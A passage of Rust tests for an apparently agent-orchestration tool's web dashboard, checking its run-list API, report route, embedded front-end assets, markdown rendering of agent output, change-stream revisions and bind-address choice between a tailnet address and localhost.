11053 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11054 let sup: HashMap<String, String> = [(
11055 "20260902-140502-aaaa".to_owned(),
11056 "20260902-140502-cccc".to_owned(),
11057 )]
11058 .into();
11059
11060 let status_calls = std::cell::Cell::new(0);
11061 let identity_calls = std::cell::Cell::new(0);
11062 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11063 |_| {
11064 status_calls.set(status_calls.get() + 1);
11065 Some(true)
11066 },
11067 |_| {
11068 identity_calls.set(identity_calls.get() + 1);
11069 Some("1790000000".to_owned())
11070 },
11071 ));
11072 let rows = summarize(
11073 states,
11074 &open,
11075 &claimed,
11076 &sup,
11077 |p| probe.borrow_mut().status(p),
11078 |p| probe.borrow_mut().started_at(p),
11079 );
11080
11081 assert_eq!(status_calls.get(), 1, "one pid, one status query");
11082 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11083 assert_eq!(rows.len(), 4);
11084 assert!(!rows[0].waiting && rows[1].waiting);
11085 assert_eq!(rows[0].live, crate::run::Liveness::Live);
11086 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11087 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11088 assert_eq!(rows[1].superseded_by, None);
11089 }
11090
11091 #[test]
11092 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11093 let mut state = RunState::new(
11094 PathBuf::from("/repo/magi"),
11095 "main".to_owned(),
11096 "0123456789abcdef".to_owned(),
11097 "Review only".to_owned(),
11098 Config::default(),
11099 );
11100 state.id = "20260922-090200-dead".to_owned();
11101 state.status = RunStatus::Reviewing;
11102 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11103 .expect("serialize list row");
11104 assert_eq!(row["status"], "reviewing");
11105 assert_eq!(row["live"], "dead", "{row}");
11106 assert!(!row["done"].as_bool().unwrap());
11107 }
11108
11109 #[tokio::test]
11110 async fn the_run_list_is_newest_first_and_honours_a_limit() {
11111 let f = Fixture::start().await;
11112 for id in [
11113 "20260902-140501-aaaa",
11114 "20260902-140502-bbbb",
11115 "20260902-140503-cccc",
11116 ] {
11117 write_run(&f.runs(), id, RunStatus::Merged);
11118 }
11119
11120 let all = f.get("/api/runs").await.json();
11121 let capped = f.get("/api/runs?limit=2").await.json();
11122
11123 assert_eq!(all[0]["id"], "20260902-140503-cccc");
11124 assert_eq!(all.as_array().map(Vec::len), Some(3));
11125 assert_eq!(capped.as_array().map(Vec::len), Some(2));
11126 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11127 }
11128
11129 #[tokio::test]
11130 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11131 let f = Fixture::start().await;
11132 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11133
11134 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11135
11136 assert_eq!(res.status, 200);
11137 assert!(
11138 res.headers
11139 .contains("content-type: text/plain; charset=utf-8"),
11140 "a browser must render it, not download it: {}",
11141 res.headers
11142 );
11143 assert!(
11147 res.body.contains("20260902-140501-a1b2"),
11148 "the report is about the run that was asked for: {}",
11149 res.body
11150 );
11151 }
11152
11153 #[tokio::test]
11154 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11155 let f = Fixture::start().await;
11156
11157 let html = f.get("/").await;
11158 let css = f.get("/app.css").await;
11159 let js = f.get("/app.js").await;
11160
11161 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11162 assert!(
11163 html.headers
11164 .contains("content-type: text/html; charset=utf-8")
11165 );
11166 assert!(css.headers.contains("content-type: text/css"));
11167 assert!(js.headers.contains("content-type: text/javascript"));
11168 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11169 }
11170
11171 #[test]
11172 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11173 let body = |name: &str| {
11174 let at = APP_JS
11175 .find(name)
11176 .unwrap_or_else(|| panic!("{name} missing"));
11177 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11178 };
11179 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11180 let note = body("function landRoundNote");
11181 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11182 assert!(note.contains("Land round ${round}"));
11183 let land = body("function renderLand");
11184 let note_at = land
11185 .find("landRoundNote(pr)")
11186 .expect("renderLand uses the note");
11187 assert!(
11188 note_at
11189 < land
11190 .find("roundRail(pr)")
11191 .expect("renderLand uses the rail")
11192 );
11193 }
11194
11195 #[test]
11196 fn the_runs_page_redesign_keeps_its_guards() {
11197 let body = |name: &str| {
11198 let at = APP_JS
11199 .find(name)
11200 .unwrap_or_else(|| panic!("{name} missing"));
11201 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11202 };
11203 let land = body("function renderLand");
11205 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11206 assert!(
11207 !land.contains("box.append("),
11208 "renderLand must use append()"
11209 );
11210 assert!(land.contains("append(box, ["));
11211 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11213 assert!(
11214 body("function applyRoute")
11215 .contains("route.name !== state.route.name || route.id !== state.route.id")
11216 );
11217 assert!(!APP_JS.contains("adviseConvergeDiagram"));
11219 assert!(!INDEX_HTML.contains("advise-converge"));
11220 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11221 assert!(APP_JS.contains("provisional"));
11222 for id in [
11223 "run-tab-overview",
11224 "run-tab-timeline",
11225 "run-tab-report",
11226 "run-report",
11227 "runs-scope",
11228 ] {
11229 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11230 }
11231 assert!(!INDEX_HTML.contains("runs-tree"));
11232 assert!(!INDEX_HTML.contains("run-raw-panel"));
11233 assert!(APP_JS.contains("resume"));
11235 assert!(APP_JS.contains("unreadable"));
11237 }
11238
11239 #[test]
11240 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11241 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11242 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11243 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
11244 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11245 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11246 assert!(APP_JS.contains("unreadable` : null"));
11248 }
11249
11250 #[test]
11251 fn the_run_detail_payload_says_whether_the_run_is_done() {
11252 for (status, done) in [
11254 (RunStatus::Superseded, true),
11255 (RunStatus::Blocked, true),
11256 (RunStatus::Landing, false),
11257 ] {
11258 let mut state = RunState::new(
11259 std::path::PathBuf::from("/repo"),
11260 "main".to_owned(),
11261 "abc".to_owned(),
11262 "x".to_owned(),
11263 crate::config::Config::default(),
11264 );
11265 state.status = status;
11266 let v = serde_json::to_value(RunDetailView::of(
11267 state,
11268 crate::run::Liveness::Unknown,
11269 None,
11270 None,
11271 None,
11272 ))
11273 .unwrap();
11274 assert_eq!(v["done"], done, "{status:?}");
11275 }
11276 }
11277
11278 fn has_strong(nodes: &[md::Node]) -> bool {
11280 serde_json::to_string(nodes).unwrap().contains("strong")
11281 }
11282
11283 #[test]
11284 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11285 let mut state = RunState::new(
11286 std::path::PathBuf::from("/repo"),
11287 "main".to_owned(),
11288 "abc".to_owned(),
11289 "x".to_owned(),
11290 crate::config::Config::default(),
11291 );
11292 let proposal = |approach: &str| {
11293 serde_json::json!({
11294 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11295 })
11296 };
11297 state.advice = Some(
11298 serde_json::from_value(serde_json::json!({
11299 "records": [
11300 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11301 "proposal": proposal("do **this**")},
11302 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11303 ],
11304 "synthesis": "- one\n- **two**\n\n`code`",
11305 }))
11306 .unwrap(),
11307 );
11308 state.candidates = serde_json::from_value(serde_json::json!([
11309 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11310 "summary": "did **it**"},
11311 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11312 ]))
11313 .unwrap();
11314 state.reviews = serde_json::from_value(serde_json::json!([{
11317 "round": 1, "head": "h",
11318 "reviews": [{
11319 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11320 "findings": [
11321 {"severity": "nit", "title": "t1", "detail": "plain nit"},
11322 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11323 ],
11324 }],
11325 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11326 "fix": {"agent": "a", "notes": "fixed **it**",
11327 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11328 }, {"round": 2, "head": "h2", "reviews": []}]))
11329 .unwrap();
11330
11331 let v = serde_json::to_value(RunDetailView::of(
11332 state,
11333 crate::run::Liveness::Unknown,
11334 None,
11335 None,
11336 None,
11337 ))
11338 .unwrap();
11339
11340 let strong = |p: &str| {
11341 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
11342 assert!(n.to_string().contains("strong"), "{p}: {n}");
11343 };
11344 strong("/advice_md/synthesis");
11345 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
11346 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
11347 strong("/advice_md/approaches/0");
11348 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
11349 strong("/candidate_summaries_md/0");
11350 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
11351 strong("/reviews_md/0/reviewers/0/summary");
11352 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
11353 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
11354 assert!(f[1].to_string().contains("strong"));
11355 strong("/reviews_md/0/reconsideration/0");
11356 strong("/reviews_md/0/fix/notes");
11357 strong("/reviews_md/0/fix/rejected/0");
11358 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
11359 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
11360 assert_eq!(v["candidates"][0]["summary"], "did **it**");
11362 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
11363 }
11364
11365 #[test]
11366 fn a_run_without_advice_has_no_advice_md() {
11367 let state = RunState::new(
11368 std::path::PathBuf::from("/repo"),
11369 "main".to_owned(),
11370 "abc".to_owned(),
11371 "x".to_owned(),
11372 crate::config::Config::default(),
11373 );
11374 let p = run_prose_md(&state);
11375 assert!(p.advice_md.is_none());
11376 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
11377 }
11378
11379 #[test]
11380 fn a_question_view_carries_markdown_for_each_thread_turn() {
11381 let home = TempDir::new().unwrap();
11382 let store = ask::Questions::at(home.path().join("questions"));
11383 let mut q = Question::new(
11384 "run".to_owned(),
11385 "implement".to_owned(),
11386 "impl-A".to_owned(),
11387 "which?".to_owned(),
11388 String::new(),
11389 Vec::new(),
11390 );
11391 q.say("plain words").unwrap();
11392 q.reply("use **this**", Vec::new()).unwrap();
11393 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
11394 let bodies = &v["thread_bodies_md"];
11395 assert_eq!(bodies.as_array().unwrap().len(), 2);
11396 assert!(!bodies[0].to_string().contains("strong"));
11397 assert!(bodies[1].to_string().contains("strong"));
11398 }
11399
11400 #[test]
11401 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11402 assert!(APP_JS.contains("function landView(run, raw) {"));
11406 assert!(
11407 APP_JS.contains(
11408 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11409 )
11410 );
11411 assert!(APP_JS.contains("const pr = landView(run, raw);"));
11412 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11413 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11414 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11415 }
11416
11417 #[test]
11418 fn live_runs_are_never_hidden_or_folded_as_superseded() {
11419 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
11420 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11421 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11422 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11423 }
11424
11425 #[test]
11426 fn review_rounds_label_a_distinct_verified_head() {
11427 assert!(APP_JS.contains("round.verified_head"));
11428 assert!(APP_JS.contains("verified HEAD"));
11429 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11430 }
11431
11432 #[test]
11433 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11434 assert!(APP_JS.contains("blocked: { glyph:"));
11438 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11439
11440 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11444 assert!(
11445 APP_JS.contains(
11446 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11447 ),
11448 "the note line must name what a blocked task is waiting on, not just that it is blocked"
11449 );
11450 assert!(APP_JS.contains("if (status === \"blocked\") {"));
11454
11455 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11459 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11460 assert!(
11461 APP_JS.contains("location.hash = \"#/questions\";"),
11462 "a question node must jump to the Questions screen, not pretend to be a task"
11463 );
11464
11465 assert!(APP_JS.contains("Resolved questions"));
11468 assert!(APP_JS.contains("r.answersList.append("));
11469 assert!(APP_CSS.contains(".task-answers"));
11470 {
11471 let start = APP_JS
11472 .find("function updateTalkTaskRow")
11473 .expect("updateTalkTaskRow");
11474 let body = &APP_JS[start..];
11475 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
11476 assert!(
11477 body.contains(
11478 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
11479 ),
11480 "a chat-filed task row must link to the task page"
11481 );
11482 assert!(
11483 !body.contains("#/runs/") && !body.contains("#/queue/"),
11484 "the row must not branch to a run or the queue card"
11485 );
11486 assert!(APP_CSS.contains(".talk-task-link"));
11487 }
11488 }
11489
11490 #[test]
11491 fn a_task_notification_links_to_the_task_page() {
11492 let start = APP_JS
11494 .find("function noticeLink(")
11495 .expect("noticeLink exists");
11496 let body = &APP_JS[start..];
11497 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
11498 assert!(
11499 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
11500 "a task notice's link must target the task page"
11501 );
11502 assert!(
11503 !body.contains("#/queue/"),
11504 "regression: the task link must not go back to the Backlog route"
11505 );
11506 assert!(
11507 APP_JS.contains(
11508 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
11509 ),
11510 "`#/tasks/<id>` must parse into the task route"
11511 );
11512
11513 assert!(
11515 APP_JS.contains(
11516 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
11517 ),
11518 "`#/queue/<id>` must parse into a route carrying that id"
11519 );
11520
11521 assert!(APP_JS.contains("state.queueFocus = route.id;"));
11525 assert!(APP_JS.contains("function consumeQueueFocus()"));
11526 assert!(APP_JS.contains("jumpToTask(id)"));
11527 }
11528
11529 #[test]
11532 fn chat_rows_put_the_title_alone_on_the_first_line() {
11533 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
11534 assert!(APP_CSS.contains(
11535 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
11536 ));
11537 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
11538 assert!(APP_JS.contains("class: \"badge talk-unread\""));
11539 }
11540
11541 #[test]
11542 fn run_rows_put_the_title_alone_on_the_first_line() {
11543 assert!(
11544 APP_CSS.contains(
11545 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
11546 )
11547 );
11548 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
11549 assert!(APP_JS.contains("class: \"card run-card\""));
11550 assert!(APP_JS.contains("class: \"repo run-id\""));
11551 }
11552
11553 #[test]
11557 fn wide_screens_show_list_and_preview_side_by_side() {
11558 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
11560 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
11561 assert!(APP_CSS.contains("main[data-split]"));
11562 assert!(APP_CSS.contains("body[data-split]"));
11563
11564 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
11566 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
11567 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
11568 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
11569 assert!(INDEX_HTML.contains("id=\"split-empty\""));
11570
11571 assert!(APP_JS.contains("function markSelected() {"));
11573 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
11574 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
11575 assert!(
11577 APP_CSS.contains(
11578 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
11579 )
11580 );
11581
11582 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
11584 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
11585 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
11586 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
11587
11588 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
11592 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
11593 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
11594 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
11595
11596 assert!(APP_JS.contains("sandbox: \"\""));
11598 assert!(!APP_JS.contains("sandbox: \"allow"));
11599 }
11600
11601 #[test]
11602 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
11603 assert!(
11612 APP_JS.contains(
11613 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
11614 ),
11615 "the search-clearing branch must run before state.queueFocus is cleared, or the \
11616 recursive renderQueue() call has nothing left to jump to"
11617 );
11618 assert!(
11619 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
11620 "state.queueFocus must be cleared only once the jump has landed, so a card that \
11621 arrives later still gets it"
11622 );
11623 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
11624 assert!(APP_JS.contains("is not in the current Backlog."));
11625 assert!(APP_JS.contains("li.card[data-task-id=\""));
11626 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
11627 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
11628 assert!(APP_CSS.contains(".card-permalink"));
11629 assert!(APP_CSS.contains(".queue-focus-status"));
11630 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
11631 }
11632
11633 #[test]
11634 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
11635 assert!(
11643 APP_JS.contains(
11644 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
11645 ),
11646 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
11647 );
11648 }
11649
11650 #[test]
11651 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
11652 assert!(
11653 APP_JS.contains("round.verified_head !== round.head"),
11654 "a round that verified an earlier commit must be visibly distinct from one that \
11655 verified the head reviewers are looking at now"
11656 );
11657 assert!(
11658 APP_JS.contains("round.verified_at"),
11659 "when a check ran must be on the wire, not just which commit"
11660 );
11661 assert!(
11662 APP_JS.contains("resource_blocked"),
11663 "a command magi never got to run (shared build cache contention) must not render \
11664 the same as a command that ran and failed"
11665 );
11666 }
11667
11668 #[test]
11669 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
11670 assert!(
11678 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
11679 "every KPI tile built through statusTile() must route its click through \
11680 openRunsFiltered, the single place that sets the Runs filter"
11681 );
11682 for (label, status) in [
11683 ("Merged", "merged"),
11684 ("Ready", "ready"),
11685 ("Blocked", "blocked"),
11686 ("Stalled", "stalled"),
11687 ] {
11688 let call = format!("statusTile(\"{label}\", t.{status}, ");
11689 assert!(
11690 APP_JS.contains(&call),
11691 "expected the {label} KPI tile built via {call}..."
11692 );
11693 assert!(
11694 APP_JS.contains(&format!("status === \"{status}\"")),
11695 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
11696 compare a run against, not one invented only for the stats tile"
11697 );
11698 }
11699 assert!(
11700 APP_JS.contains("function openRunsFiltered(status)"),
11701 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
11702 );
11703 assert!(
11704 APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
11705 "matchesFilter must gate on the exact status a KPI tile named"
11706 );
11707 assert!(
11715 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
11716 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
11717 hashchange event that may never fire"
11718 );
11719 }
11720
11721 #[test]
11722 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
11723 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
11729 assert!(
11730 APP_JS.contains(
11731 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
11732 ),
11733 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
11734 guard for an incompatible tree section"
11735 );
11736 }
11737
11738 #[test]
11739 fn every_stats_queue_tile_names_a_real_queue_section() {
11740 assert!(
11746 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
11747 "every queue tile built through sectionTile() must route its click through \
11748 openQueueSectionFocus"
11749 );
11750 for key in ["upnext", "running", "done", "held", "blocked"] {
11751 assert!(
11752 APP_JS.contains(&format!("{{ key: \"{key}\",")),
11753 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
11754 );
11755 }
11756 for line in [
11760 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
11761 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
11762 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
11763 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
11764 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
11765 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
11766 ] {
11767 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
11768 }
11769 }
11770
11771 #[test]
11772 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
11773 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
11780 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
11781 assert!(APP_JS.contains("function revealQueueSection(details)"));
11782 assert!(
11783 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
11784 "renderQueue() must consume both focus channels on every pass"
11785 );
11786 assert!(
11787 APP_JS.contains(
11788 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
11789 ),
11790 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
11791 the recursive renderQueue() call has nothing left to reveal"
11792 );
11793 assert!(
11794 APP_JS.contains(
11795 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
11796 ),
11797 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
11798 );
11799 assert!(
11807 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
11808 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
11809 hashchange event that may never fire"
11810 );
11811 }
11812
11813 #[tokio::test]
11814 async fn the_change_stream_announces_the_current_revisions_on_connect() {
11815 let f = Fixture::start().await;
11816
11817 let mut socket = tokio::net::TcpStream::connect(f.addr)
11818 .await
11819 .expect("connect");
11820 socket
11821 .write_all(
11822 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
11823 )
11824 .await
11825 .expect("write request");
11826
11827 let mut seen = String::new();
11830 let mut buf = [0u8; 1024];
11831 while !seen.contains("event: change") {
11832 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
11833 .await
11834 .expect("the stream must speak within five seconds")
11835 .expect("read");
11836 assert!(read > 0, "the server closed the change stream: {seen}");
11837 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
11838 }
11839
11840 assert!(
11841 seen.to_lowercase()
11842 .contains("content-type: text/event-stream"),
11843 "the browser only reconnects automatically for a real SSE stream: {seen}"
11844 );
11845 let data = seen
11846 .lines()
11847 .find_map(|l| l.strip_prefix("data:"))
11848 .expect("a data line");
11849 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
11850 assert!(
11851 payload["queue_rev"].is_u64()
11852 && payload["runs_rev"].is_u64()
11853 && payload["questions_rev"].is_u64()
11854 && payload["talks_rev"].is_u64()
11855 && payload["notifications_rev"].is_u64()
11856 && payload["loop_rev"].is_u64(),
11857 "the client needs one revision per store to know what to refetch, \
11858 and `talks_rev` is the only notification a standing talk gets - a \
11859 phone whose radio slept through a turn learns about it here, as \
11860 does one whose operator started the loop from another device: \
11861 {payload}"
11862 );
11863
11864 let health = f.get("/api/health").await.json();
11871 for key in [
11872 "queue_rev",
11873 "runs_rev",
11874 "questions_rev",
11875 "talks_rev",
11876 "notifications_rev",
11877 "loop_rev",
11878 ] {
11879 assert!(
11880 health[key].is_u64(),
11881 "health is the change stream's fallback and is missing `{key}`: {health}"
11882 );
11883 }
11884 }
11885
11886 #[tokio::test]
11887 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
11888 let f = Fixture::start().await;
11889 let before = f.get("/api/health").await.json()["talks_rev"]
11890 .as_u64()
11891 .expect("talks_rev");
11892
11893 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
11894 std::thread::sleep(Duration::from_millis(10));
11895 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
11896 on_disk.turns.push(crate::talk::Turn {
11897 who: crate::talk::Who::Operator,
11898 body: "a new turn".to_owned(),
11899 at: Timestamp::now(),
11900 attachments: Vec::new(),
11901 usage: None,
11902 });
11903 f.talks().put(&mut on_disk).expect("record a turn");
11904
11905 let after = f.get("/api/health").await.json()["talks_rev"]
11906 .as_u64()
11907 .expect("talks_rev");
11908 assert_ne!(
11909 before, after,
11910 "a phone must be able to notice a talk's reply without polling every store"
11911 );
11912 }
11913
11914 #[test]
11915 fn bind_reads_back_from_the_spelling_the_cli_prints() {
11916 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
11920 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
11921 }
11922 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
11923 assert!("everywhere".parse::<Bind>().is_err());
11924 }
11925
11926 #[test]
11927 fn an_explicit_bind_address_is_taken_verbatim() {
11928 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
11929
11930 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
11931
11932 assert_eq!(addr, asked);
11933 assert!(
11934 warning.is_none(),
11935 "an operator who named an address gets no lecture"
11936 );
11937 }
11938
11939 #[test]
11940 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
11941 let (addr, warning) = resolve_bind(&Bind::Auto);
11942
11943 match addr {
11950 IpAddr::V4(ip) if is_tailnet(&ip) => {
11951 assert!(warning.is_none(), "a tailnet address needs no warning");
11952 }
11953 other => {
11954 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
11955 let warning = warning.expect("a fallback has to explain itself");
11956 assert!(
11957 warning.contains("127.0.0.1") && warning.contains("local-only"),
11958 "the warning says what happened and what it costs: {warning}"
11959 );
11960 }
11961 }
11962 }
11963
11964 #[test]
11965 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
11966 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
11970 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
11971 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
11972 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
11973 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
11974 }
11975
11976 #[test]
11977 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
11978 let ids = vec![
11979 "20260902-140501-aaaa".to_owned(),
11980 "20260902-140502-aabb".to_owned(),
11981 ];
11982
11983 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
11984 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
11985 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
11986
11987 assert_eq!(missing.status, StatusCode::NOT_FOUND);
11988 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
11989 assert_eq!(short, "20260902-140502-aabb");
11990 }
11991 #[tokio::test]
